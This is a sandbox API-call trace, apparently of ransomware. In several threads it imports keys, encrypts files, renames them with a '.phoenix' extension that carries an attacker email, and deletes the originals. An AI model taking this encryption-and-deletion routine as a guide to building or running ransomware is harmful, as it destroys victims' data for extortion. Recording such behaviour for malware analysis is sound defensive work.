	[0078.281] CryptEncrypt (in: hKey=0xbaa408, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x23430, dwBufLen=0x23430 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x23430) returned 1
	[0078.282] WriteFile (in: hFile=0x34c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x23430, lpOverlapped=0x0) returned 1
	[0078.285] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa208) returned 1
	[0078.285] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0078.285] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0078.285] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0078.285] WriteFile (in: hFile=0x34c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0078.285] CryptDestroyKey (hKey=0xbaa408) returned 1
	[0078.285] CloseHandle (hObject=0x310) returned 1
	[0078.285] CloseHandle (hObject=0x34c) returned 1
	[0078.289] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1
	[0078.291] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0078.291] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0078.299] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=5198099) returned 1
	[0078.299] CloseHandle (hObject=0x34c) returned 1
	[0078.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80
	[0078.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0078.300] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0078.300] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0078.301] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0078.301] ReadFile (in: hFile=0x34c, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fe64, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x324fe64*=0x40000, lpOverlapped=0x0) returned 1
	[0078.645] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0078.645] ReadFile (in: hFile=0x34c, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fe64, lpOverlapped=0x0 | out: lpBuffer=0x3631058*, lpNumberOfBytesRead=0x324fe64*=0x40000, lpOverlapped=0x0) returned 1
	[0079.633] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0079.634] ReadFile (in: hFile=0x34c, lpBuffer=0x3671058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fe64, lpOverlapped=0x0 | out: lpBuffer=0x3671058*, lpNumberOfBytesRead=0x324fe64*=0x40000, lpOverlapped=0x0) returned 1
	[0079.751] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324feb4 | out: phKey=0x324feb4*=0xbaa3c8) returned 1
	[0079.751] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0079.751] CryptEncrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe68*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x35f1020*, pdwDataLen=0x324fe68*=0xc0080) returned 1
	[0079.754] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0079.754] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe90 | out: lpNewFilePointer=0x0) returned 1
	[0079.754] WriteFile (in: hFile=0x34c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x324fea0, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea0*=0xc0132, lpOverlapped=0x0) returned 1
	[0079.775] SetEndOfFile (hFile=0x34c) returned 1
	[0080.914] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x324fe60 | out: lpNewFilePointer=0x0) returned 1
	[0080.915] WriteFile (in: hFile=0x34c, lpBuffer=0x36b116a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fe6c, lpOverlapped=0x0 | out: lpBuffer=0x36b116a*, lpNumberOfBytesWritten=0x324fe6c*=0x40000, lpOverlapped=0x0) returned 1
	[0081.261] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x324fe60 | out: lpNewFilePointer=0x0) returned 1
	[0081.261] WriteFile (in: hFile=0x34c, lpBuffer=0x36b116a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fe6c, lpOverlapped=0x0 | out: lpBuffer=0x36b116a*, lpNumberOfBytesWritten=0x324fe6c*=0x40000, lpOverlapped=0x0) returned 1
	[0081.263] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe60 | out: lpNewFilePointer=0x0) returned 1
	[0081.263] WriteFile (in: hFile=0x34c, lpBuffer=0x36b116a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fe6c, lpOverlapped=0x0 | out: lpBuffer=0x36b116a*, lpNumberOfBytesWritten=0x324fe6c*=0x40000, lpOverlapped=0x0) returned 1
	[0081.264] CloseHandle (hObject=0x34c) returned 1
	[0086.801] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0086.801] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0086.802] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=2192672) returned 1
	[0086.802] CloseHandle (hObject=0x34c) returned 1
	[0086.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80
	[0086.802] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0086.803] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0086.803] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0086.803] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0086.803] ReadFile (in: hFile=0x34c, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fe64, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x324fe64*=0x40000, lpOverlapped=0x0) returned 1
	[0086.869] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x324fe58 | out: lpNewFilePointer=0x0) returned 1
	[0086.869] ReadFile (hFile=0x34c, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fe64, lpOverlapped=0x0) 

Thread:
	id = 27
	os_tid = 0xd78

	[0062.355] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f900a8
	[0062.356] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2fa00b0
	[0062.356] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x28) returned 0x2721250
	[0062.356] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x110102) returned 0x371d020
	[0062.359] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x50) returned 0x2728f40
	[0062.359] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fd18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd80 | out: phKey=0x338fd80*=0xbaa8c8) returned 1
	[0062.359] CryptSetKeyParam (hKey=0xbaa8c8, dwParam=0x1, pbData=0x338fd68, dwFlags=0x0) returned 1
	[0062.359] CryptDecrypt (in: hKey=0xbaa8c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f40, pdwDataLen=0x338fd34 | out: pbData=0x2728f40, pdwDataLen=0x338fd34) returned 1
	[0062.359] CryptDestroyKey (hKey=0xbaa8c8) returned 1
	[0062.359] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000
	[0062.359] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0062.359] Wow64DisableWow64FsRedirection (in: OldValue=0x338fdcc | out: OldValue=0x338fdcc*=0x0) returned 1
	[0062.359] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f40 | out: hHeap=0x2720000) returned 1
	[0062.359] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0062.359] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0062.685] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=42674) returned 1
	[0062.685] CloseHandle (hObject=0x324) returned 1
	[0062.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20
	[0062.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.687] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0062.687] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0062.687] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0062.687] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.704] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa848) returned 1
	[0062.704] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0062.704] ReadFile (in: hFile=0x318, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xa6b2, lpOverlapped=0x0) returned 1
	[0062.733] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xa6c0, dwBufLen=0xa6c0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xa6c0) returned 1
	[0062.734] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xa6c0, lpOverlapped=0x0) returned 1
	[0062.735] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa788) returned 1
	[0062.735] CryptSetKeyParam (hKey=0xbaa788, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0062.735] CryptEncrypt (in: hKey=0xbaa788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x70, dwBufLen=0x70 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x70) returned 1
	[0062.735] CryptDestroyKey (hKey=0xbaa788) returned 1
	[0062.735] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x122, lpOverlapped=0x0) returned 1
	[0062.735] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0062.735] CloseHandle (hObject=0x318) returned 1
	[0062.736] CloseHandle (hObject=0x320) returned 1
	[0062.740] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1
	[0062.742] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0062.742] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.784] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=156) returned 1
	[0062.784] CloseHandle (hObject=0x320) returned 1
	[0062.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20
	[0062.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.784] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.784] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0062.784] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0062.784] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0062.785] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa208) returned 1
	[0062.785] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0062.785] ReadFile (in: hFile=0x320, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x9c, lpOverlapped=0x0) returned 1
	[0062.789] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xa0, dwBufLen=0xa0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xa0) returned 1
	[0062.789] WriteFile (in: hFile=0x318, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xa0, lpOverlapped=0x0) returned 1
	[0062.790] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa788) returned 1
	[0062.790] CryptSetKeyParam (hKey=0xbaa788, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0062.790] CryptEncrypt (in: hKey=0xbaa788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0062.790] CryptDestroyKey (hKey=0xbaa788) returned 1
	[0062.790] WriteFile (in: hFile=0x318, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0062.790] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0062.790] CloseHandle (hObject=0x320) returned 1
	[0062.790] CloseHandle (hObject=0x318) returned 1
	[0063.064] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1
	[0063.065] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0063.065] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.065] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=129) returned 1
	[0063.065] CloseHandle (hObject=0x318) returned 1
	[0063.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0063.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.066] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.066] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.066] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0063.066] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.073] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa2c8) returned 1
	[0063.073] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.073] ReadFile (in: hFile=0x318, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x81, lpOverlapped=0x0) returned 1
	[0063.073] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x90, dwBufLen=0x90 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x90) returned 1
	[0063.073] WriteFile (in: hFile=0x328, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x90, lpOverlapped=0x0) returned 1
	[0063.082] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa448) returned 1
	[0063.082] CryptSetKeyParam (hKey=0xbaa448, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0063.082] CryptEncrypt (in: hKey=0xbaa448, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0063.082] CryptDestroyKey (hKey=0xbaa448) returned 1
	[0063.082] WriteFile (in: hFile=0x328, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0063.082] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0063.082] CloseHandle (hObject=0x318) returned 1
	[0063.082] CloseHandle (hObject=0x328) returned 1
	[0063.087] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1
	[0063.088] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0063.088] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.089] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=7567) returned 1
	[0063.089] CloseHandle (hObject=0x328) returned 1
	[0063.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80
